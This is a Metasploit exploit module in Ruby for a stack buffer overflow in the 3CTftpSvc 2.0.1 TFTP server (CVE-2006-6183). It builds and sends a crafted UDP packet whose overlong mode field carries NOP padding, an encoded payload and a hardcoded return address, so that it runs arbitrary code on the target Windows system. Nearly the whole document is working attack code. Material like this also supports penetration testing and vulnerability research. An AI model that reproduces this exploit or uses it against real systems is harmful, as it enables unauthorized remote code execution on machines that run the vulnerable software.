3CTftpSvc TFTP Long Mode Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => '3CTftpSvc TFTP Long Mode Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
        sending a specially crafted packet with an overly long mode
        field, a remote attacker could overflow a buffer and execute
        arbitrary code on the system.
      },
      'Author'         => 'MC',
      'References'     =>
        [
          ['CVE', '2006-6183'],
          ['OSVDB', '30758'],
          ['BID', '21301'],
          ['URL', 'http://web.archive.org/web/20070521014920/http://secunia.com:80/advisories/23113'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ '3CTftpSvc 2.0.1',			{ 'Ret' => 0x00402b02 } ],
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2006-11-27'))

    register_options([Opt::RPORT(69)])
  end

  def exploit
    connect_udp

    sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
    sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"

    print_status("Trying target #{target.name}...")

    udp_sock.put(sploit)

    disconnect_udp
  end
end